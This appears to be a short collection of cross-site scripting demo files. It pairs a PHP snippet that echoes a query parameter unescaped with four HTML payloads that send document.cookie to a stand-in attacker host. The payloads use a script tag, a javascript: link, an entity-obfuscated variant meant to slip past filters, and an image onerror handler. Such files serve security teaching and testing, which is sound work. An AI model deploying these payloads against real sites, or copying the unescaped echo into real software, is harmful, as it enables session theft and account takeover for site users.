attack-1-reflected.php

<?php
echo 'Search result for: ' . $_GET['query'];
// Other codes for showing search results

attack-1.html

<script>
  window.location = 'http://some-hacker-site.com/submit-cookie?cookie=' + document.cookie;
</script>

attack-2-1.html

<a href="javascript:window.location = 'http://some-hacker-site.com/submit-cookie?cookie=' + document.cookie;">
  Check My Awsome Website!
</a>

attack-2-2.html

<a href="j&#X41vascript:window.location = 'http://some-hacker-site.com/submit-cookie?cookie=' + document.cookie;">
  Check My Awsome Website!
</a>

attack-3-1.html

<img src="not-found-img-url" onerror="window.location = 'http://some-hacker-site.com/submit-cookie?cookie=' + document.cookie;" />